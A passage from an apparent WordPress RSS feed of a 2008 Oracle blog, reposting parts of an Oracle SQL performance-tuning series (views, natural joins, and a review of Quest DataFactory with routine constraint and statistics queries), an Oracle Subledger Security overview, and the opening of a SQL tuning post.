<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The reason why the record in the view can be updated (the department name, anyway) is that DEPARTMENTS is a key-preserved table (its primary key DEPARTMENT_ID was used in the creation of the view).</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The point of this example is this: just because you obtain the lowest cost does not mean you cannot do anything else to make a query better. Better, in this case, applies to developers using simpler join constructs, and applies to users in that providing views for their use saves you the effort of having to explain how to do complex joins. The caution on views is to keep track of key-preserved versus non key-preserved tables so that what you intend to be modifiable is indeed just that.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">In Closing</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The main points of this article are:</span></span></p>
<ul><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"></p>
<li> Use bind variables</li>
<li> Use efficient SQL</li>
<li> Use coding standards</li>
<li> Consider the technical or SQL know-how of your user population and create views as appropriate</li>
<p></span></span></ul>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">None of these steps is especially difficult to perform or implement. For programmers used to using the &#8220;tableA.column_name = tableB.column_name&#8221; format for joins, moving to the use of natural joins saves quite a bit of typing, plus there is the benefit of having key column names match up (the foreign key column in the child table has the same column name as the primary key in the parent table). As shown, some measures may not have a big impact, but when taken as a whole, every little bit helps to improve performance. In Part 3, we will look at more examples of steps you can take to improve performance.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><em><strong>Part3</strong><strong>:</strong></em></span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">As mentioned in Parts <a href="http://www.databasejournal.com/features/oracle/article.php/3548291">1</a> and <a href="http://www.databasejournal.com/features/oracle/article.php/3551096">2</a>, there are several relatively easy steps you can take to improve performance. One of those steps involves using an automated tool to &#8220;guide&#8221; you in writing SQL statements. There are several vendors who manufacture analysis or performance tuning tools, and in the next two articles, we will look at one of them.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Quest Software</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Many DBAs and developers use a tool named Toad, produced by Quest Software. According to a statement at Quest Software&#8217;s Web site, the Toad user community numbers around 500,000 users. One of Toad&#8217;s features is its ability to optimize SQL queries. In other words, Oracle Corporation does not own the market on tuning advisor type of tools. </span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Knowing that you have several choices with respect to advisory tools, and understanding what it is they do, what do you use them on if you are not working in a production or development environment? And perhaps just as likely, even if you are in a development environment, you may not have any bulk data to use. Generating bulk or large amounts of data is the focus of this article, and the tool we will look at for this purpose is another Quest Software product: <a href="http://www.quest.com/datafactory/">DataFactory®</a> for Oracle.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">DataFactory</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The purpose of DataFactory is to &#8220;quickly create meaningful test data for multiple database platforms.&#8221; The platforms include Oracle, DB2, Sybase and any ODBC compliant database. Normally retailing at $595 per server, a free 30-day version is available for download at Quest Software&#8217;s Web site.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">To obtain the software (current version of 5.5.0), you must register using a &#8220;real&#8221; email address. Hotmail and Gmail addresses were rejected, but Comcast went through just fine. Once you register, you will receive an email that contains a key to unlock the application and start the 30-day free trial clock.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The installation process is quick and straightforward. If you are running Microsoft AntiSpyware, you may receive one or more errors. Disable the real time protection and attempt to reinstall DataFactory.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Creating Tutorial Objects</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">An excellent way to get to know the application is to use its tutorial objects. The general process is to:</span></span></p>
<ol><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"></p>
<li> Create a project</li>
<li> Create tables in a schema</li>
<li> Run a script to load data</li>
<p></span></span></ol>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Unfortunately, an excellent way to get a refresher on disabling system-named referential constraints is to use the built-in tutorial objects. Using an iterative process, you can disable constraints one at a time until the load script runs through without error. However, while Quest is working on fixing this bug, we can take a short excursion into identifying and disabling a constraint.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">After starting DataFactory, you can choose to start the tutorial. The instructions on how to load the tutorial objects (as is all help) are in HTML files.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image001.jpg" border="0" alt="" width="525" height="277" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The instructions from the help system state that the tables are populated. That is not correct. The tables (15 in all, named using a &#8220;DF_&#8221; prefix) are populated after an additional step.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image002.jpg" border="0" alt="" width="547" height="154" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Prior to creating the tables, you may want to create a separate schema in your database. Using Oracle10g, I created a user/schema owner named quest (granting connect and resource will be sufficient). You will be prompted for a username/password combination and database information.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">So, following Tools&gt;Create Tutorial Obects – </span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image003.jpg" border="0" alt="" width="275" height="147" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">- the Tutorial Setup Wizard appears (with its own version of the Oracle logo).</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image004.jpg" border="0" alt="" width="506" height="281" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">A list of tables appears on the Finish Page.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image005.jpg" border="0" alt="" width="505" height="445" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Upon successful creation, DataFactory tells you so.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image006.jpg" border="0" alt="" width="282" height="121" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The project folder appears in the left frame</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image007.jpg" border="0" alt="" width="544" height="366" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Click the Run button on the main menu. The ORA-02291 integrity constraint violated error will appear quite a few times (some tables more than once) because the loaded data in a foreign key-designated column does not correspond with data in a parent table. Almost all of the constraints use the SYS_Cxxxxxx naming structure, meaning they are not explicitly named.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image008.jpg" border="0" alt="" width="530" height="44" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">To work around the integrity constraint violation, you can disable the constraint (once you know which table to alter). The query and ALTER TABLE statement below show one method to identify and disable the problem constraint.</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; select owner, constraint_name, table_name, column_name
  2  from all_cons_columns
  3  where constraint_name like '%9814%';
OWNER CONSTRAINT_NAME                TABLE_NAME           COLUMN_NAME
----- ------------------------------ -------------------- ------------
QUEST SYS_C009814                    DF_ORDERS            CUSTID
SQL&gt; alter table df_orders
  2  disable constraint sys_c009814;
Table altered.
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The Results window showing that your project-named script has completed successfully means we are ready to start looking around at what was created.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image009.jpg" border="0" alt="" width="382" height="167" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Instead of analyzing each table one at a time, use the DBMS_STATS built-in (which Oracle recommends to use for most analyze operations). If you are using Oracle10g, you may want to add a WHERE dropped=&#8217;NO&#8217; to prevent dropped tables from appearing in queries on user_tables or tab (as an example).</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; execute dbms_stats.gather_schema_stats('QUEST');
PL/SQL procedure successfully completed.
SQL&gt; select table_name, num_rows
  2  from user_tables
  3  where dropped='NO';
TABLE_NAME             NUM_ROWS
-------------------- ----------
DF_TITLES                   100
DF_MOVIE_CUSTOMER          1100
DF_MOVIE_EMPLOYEE           900
DF_DUMMY                   1100
DF_AUTHORS_TITLES          1100
DF_MOVIE_RENTAL             700
DF_PRODUCTS                 100
DF_MOVIE_TAPE               400
DF_CUSTOMERS               1100
DF_AUTHORS                 1100
DF_MOVIE_DISTRICT          1100
DF_ORDERS                   101
DF_MOVIE_MOVIE              900
DF_ORDERDETAILS             200
DF_MOVIE_STORE              500
15 rows selected.
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Back in the project hierarchy or list of tables, selecting a table in the list will show its columns and their datatypes (you may have to toggle between the Children and Results tabs at the bottom of the application).</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image010.jpg" border="0" alt="" width="428" height="216" /></span></span></div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Using the DF_MOVIE_CUSTOMER table as an example, how does its data look? The &#8220;random characters&#8221; option definitely produces exactly that.</span></span></p>
<div>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><img src="http://www.databasejournal.com/img/sc_perfTun3_image011.jpg" border="0" alt="" width="578" height="99" /></span></span></div>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">More on the Tutorial Tables</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Are there any indexes on the foreign key columns?</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; select index_name, table_name, column_name, column_position
  2  from user_ind_columns;
INDEX_NAME   TABLE_NAME           COLUMN_NAME          COLUMN_POSITION
------------ -------------------- -------------------- ---------------
SYS_C009823  DF_MOVIE_DISTRICT    DISTRICTID                         1
SYS_C009827  DF_MOVIE_STORE       STOREID                            1
SYS_C009830  DF_MOVIE_EMPLOYEE    EMPID                              1
SYS_C009837  DF_MOVIE_CUSTOMER    CUSTID                             1
SYS_C009841  DF_MOVIE_MOVIE       MOVIEID                            1
SYS_C009845  DF_MOVIE_TAPE        TAPEID                             1
SYS_C009850  DF_MOVIE_RENTAL      TAPEID                             1
SYS_C009850  DF_MOVIE_RENTAL      CUSTID                             2
SYS_C009850  DF_MOVIE_RENTAL      RENTDATE                           3
SYS_C009810  DF_CUSTOMERS         CUSTID                             1
SYS_C009813  DF_ORDERS            ORDERID                            1
SYS_C009816  DF_PRODUCTS          PRODUCTID                          1
SYS_C009819  DF_ORDERDETAILS      ORDERID                            1
SYS_C009819  DF_ORDERDETAILS      PRODUCTID                          2
14 rows selected.
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">What does the output suggest? You can immediately identify the fact that for one, not every table has a primary key. There are 15 tables, but only 14 rows (or 11 distinct tables as some indexes are composites). Why do we know this? Because one of the benefits of creating a primary key is that you get an index for free. If you disabled all of the referential integrity constraints that arise in the load script, what else might you suspect?</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">Oracle recommends indexing foreign key columns as they are frequently used in joins, and the general rule is to index columns used in WHERE clauses (which is obviously where joins are listed). Given the lack of indexes, your suspicion should be that the &#8220;create table&#8221; component of the tutorial tables does not index foreign key columns.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The query below shows the table name/column name foreign keys (they all have position 1 meaning only a single column was used).</span></span></p>
<pre><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">SQL&gt; select a.constraint_name, b.constraint_type,
  2  a.table_name, a.column_name
  3  from user_cons_columns a, all_constraints b
  4  where a.constraint_name=b.constraint_name
  5  and constraint_type = 'R';
CONSTRAINT_NAME  C TABLE_NAME           COLUMN_NAME
---------------- - -------------------- -------------
SYS_C009831      R DF_MOVIE_EMPLOYEE    SUPERVISORID
SYS_C009828      R DF_MOVIE_STORE       DISTRICTID
SYS_C009821      R DF_ORDERDETAILS      PRODUCTID
SYS_C009820      R DF_ORDERDETAILS      ORDERID
DFMOVIESTOREFK2  R DF_MOVIE_STORE       MANAGERID
SYS_C009852      R DF_MOVIE_RENTAL      TAPEID
SYS_C009851      R DF_MOVIE_RENTAL      CUSTID
SYS_C009838      R DF_MOVIE_CUSTOMER    STOREID
SYS_C009814      R DF_ORDERS            CUSTID
SYS_C009846      R DF_MOVIE_TAPE        MOVIEID
DFMOVIEEMPFK2    R DF_MOVIE_EMPLOYEE    STOREID
11 rows selected.
</span></span></pre>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The end result? Suspicion confirmed; the foreign keys were not indexed.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">From a management or maintenance perspective, why are only two of the referential integrity constraints explicitly named while the rest are system named? As it turns out, of the 51 constraints in this schema, these happen to be the only two user named constraints.</span></span></p>
<h3><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">In Closing</span></span></h3>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">The key point to take away from this exploration of a tool such as DataFactory is that while the tool (or a script you create) can generate millions of rows of test or sample data, what good is any of it if it misses the boat on referential integrity or other best practices with respect to data modeling? If you are trying to tune queries for an application, the test data needs to reflect how the application uses it. If you are relying on referential integrity, your test data needs to support and honor parent table-child table relationships.</span></span></p>
<p><span style="font-family:Verdana,Arial,Helvetica,sans-serif;"><span style="font-family:Verdana,Arial,Helvetica,sans-serif;">From a design standpoint, two best practices that were violated include failure to index foreign key columns, and failure to explicitly name three major items (primary keys, foreign keys, and indexes). A possible third violation concerns not having a primary key on every table. Does every table in a schema require a primary key? No, but for the most part, every table (to support normalization) should, and if not, you should at least know why. Put another way, to not normalize a table should be a conscious decision, not an oversight.</span></span></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/43/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/43/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/43/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/43/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/43/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/43/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=43&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/11/06/oracle-performance-tuning-by-steve-callan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image001.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image002.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image003.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image004.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image005.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun2_image005.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image001.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image002.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image003.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image004.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image005.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image006.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image007.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image008.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image009.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image010.jpg" medium="image" />

		<media:content url="http://www.databasejournal.com/img/sc_perfTun3_image011.jpg" medium="image" />
	</item>
		<item>
		<title>SLS: Subledger Security</title>
		<link>http://haind.wordpress.com/2008/09/05/sls-subledger-security/</link>
		<comments>http://haind.wordpress.com/2008/09/05/sls-subledger-security/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 04:44:14 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[11i]]></category>
		<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=19</guid>
		<description><![CDATA[Overview
Subledger Security is not to be associated with other products within the Oracle
Public Sector Financials (International) suite.
Subledger Security is designed to be used as a tool by the systems administrator or
database administrator, rather than as a standard end-user product. Subledger
security is a requirement that is primarily a technical implementation of a business
security policy.
WARNING: Subledger Security [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=19&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><strong>Overview</strong><br />
Subledger Security is not to be associated with other products within the Oracle<br />
Public Sector Financials (International) suite.<br />
Subledger Security is designed to be used as a tool by the systems administrator or<br />
database administrator, rather than as a standard end-user product. Subledger<br />
security is a requirement that is primarily a technical implementation of a business<br />
security policy.<br />
<em>WARNING: Subledger Security must be implemented and maintained only when<br />
end-users are not using Oracle Applications, for example, during system downtime.<br />
This is because Subledger Security works at the Oracle database table level.<br />
Subledger Security is not supported if Subledger Security is implemented or<br />
maintained when end-users are using an Oracle product.</em></p>
<p>Subledger Security is based on two principles as follows:<br />
 application context<br />
 fine grained security</p>
<p>Subledger Security is an addition to Oracle Applications and is transparent to the<br />
end-user after implementation.<br />
Standard Oracle Application features and processes are not altered or extended<br />
because Subledger Security is implemented and maintained through a set of<br />
standalone windows and reports.</p>
<p>Features<br />
The following features are available in Subledger Security:<br />
 Data Management<br />
 Data Security<br />
 Data Security Auditing<br />
 Reports<br />
Data management and data security are conceptually separate business<br />
requirements but are closely related to, and are physically indistinguishable within<br />
the implementation of Subledger Security.<br />
Data Management<br />
Subledger security facilitates management of transactions. In the Oracle<br />
Applications multiple organizations architecture, it provides a lower organizational<br />
level.<br />
Overview</p>
<p>Users can view transactions belonging to their own business units.<br />
Data Security<br />
Subledger Security enables transactions to be viewed by the business unit from<br />
which they originated and not by any other business unit. Users belonging to a<br />
business unit can view and modify transactions entered by users belonging to their<br />
business unit only. There is also a top level central business unit that can view all<br />
business unit transactions. Users belonging to this central business unit can view<br />
transactions belonging to all business units.<br />
Table 89–1, page 89-4 describes the data management and data security windows<br />
and concurrent programs available in Subledger Security.<br />
Data Security Auditing<br />
Subledger Security provides an audited history of the major control actions that can<br />
be performed on the main business entities as follows:<br />
 enable security<br />
 re-enable security<br />
Table 89–1 Data Management and Data Security Windows and Concurrent Programs<br />
Object Type Purpose<br />
Maintain Tables Window Specify all Oracle Financials<br />
database tables that require<br />
security and need allocating<br />
to security groups.<br />
Maintain Groups Window Specify all required security<br />
groups and process groups.<br />
Maintain Allocations Window Allocate and maintain<br />
required Oracle database<br />
tables and process groups to a<br />
security group. Allocate and<br />
maintain Oracle database<br />
tables belonging to a process<br />
group.<br />
Apply Security Concurrent Program Apply security policy as<br />
required.<br />
Security Group<br />
Consolidations<br />
Window Consolidate or merge security<br />
groups.<br />
Overview<br />
Subledger Security Process 89-5<br />
 disable security<br />
 delete security<br />
The audited history enables an organization’s business analyst and systems<br />
administrator to recognize and reconcile the history profile of secured database<br />
tables. Auditing history is accessible through window or report based inquiry.<br />
Reports<br />
A comprehensive set of reports supports implementation and maintenance of<br />
Subledger Security. The Subledger Security reports provide information on the<br />
current and previous state of Subledger Security objects and the organization’s<br />
security structure, as shown in Table 89–2, page 89-5.<br />
Table 89–2 Subledger Security Reports<br />
Report Purpose<br />
Subledger Security: Group<br />
Status Report<br />
Provides a list of groups and descriptions. Displays current<br />
enabled date.<br />
Subledger Security: Secure<br />
Tables Status Report<br />
Lists all tables defined as secure by the user, and displays the<br />
current status.<br />
Subledger Security: Group<br />
Secure Tables Report<br />
Lists all tables currently secured for each security group.<br />
Subledger Security:<br />
Allocation Status Report<br />
This report lists the following information: process groups and<br />
the secure tables allocated to them; security groups; allocated<br />
process groups and secure tables with the enabled or disabled<br />
status. This report shows all historic data and can be run for a<br />
given subledger security group, a process group, or a secure<br />
table.<br />
Subledger Security: Object<br />
Status Report<br />
Displays status of subledger security objects for each secure<br />
table. The report lists all corresponding subledger security<br />
table names, the policy on the secure table, the policy function<br />
used by the policy, and the database trigger on the secure<br />
table.<br />
Subledger Security: User<br />
Allocation Status Report<br />
Lists security groups with associated application users and<br />
responsibilities.<br />
Subledger Security:<br />
Security Group<br />
Consolidations Report<br />
Provides information relating to security group consolidations<br />
and enables an organization to reconcile business unit<br />
structure changes. Displays source security groups<br />
consolidated in the parent security group and historical<br />
information.<br />
Overview<br />
89-6 Oracle Public Sector Financials (International) User’s Guide<br />
Supported Products<br />
Subledger Security is supported for the following Oracle Supply Chain and Oracle<br />
Financials modules:<br />
 Purchasing<br />
 Payables<br />
 Receivables</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/19/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/19/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/19/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=19&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/09/05/sls-subledger-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>
	</item>
		<item>
		<title>Tuning Oracle SQL</title>
		<link>http://haind.wordpress.com/2008/07/02/tuning-oracle-sql/</link>
		<comments>http://haind.wordpress.com/2008/07/02/tuning-oracle-sql/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 05:36:11 +0000</pubDate>
		<dc:creator>haind</dc:creator>
				<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://haind.wordpress.com/?p=17</guid>
		<description><![CDATA[Some method for tuning SQL collected:
How to Develop efficient Sql Statements-SQL Tuing
1)Verify Optimizer Statistics:
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
The query optimizer uses statistics gathered on tables and indexes when determining the optimal execution plan. If these statistics have not been gathered, or if the statistics are no longer representative of the data stored within the database, then the optimizer does [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=17&subd=haind&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Some method for tuning SQL collected:</p>
<h3 class="post-title entry-title"><a href="http://arjudba.blogspot.com/2008/06/how-to-develop-efficient-sql-statements.html">How to Develop efficient Sql Statements-SQL Tuing</a></h3>
<p><span style="font-weight:bold;">1)Verify Optimizer Statistics:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
The query optimizer uses statistics gathered on tables and indexes when determining the optimal execution plan. If these statistics have not been gathered, or if the statistics are no longer representative of the data stored within the database, then the optimizer does not have sufficient information to generate the best plan.</p>
<p>So, gather statistics of all tables that are involved in SQL statements. You can check whether your statistics is up to date or not by querying<br />
<span style="font-weight:bold;">SELECT COUNT(*) FROM table_name;</span><br />
and,<br />
<span style="font-weight:bold;">select NUM_ROWS from dba_tables where table_name=&#8217;TABLE_NAME&#8217;;</span></p>
<p>If they are almost same then you have correct optimizer statistics. If they don&#8217;t match then gather new statistics.<br />
<span style="font-weight:bold;"></p>
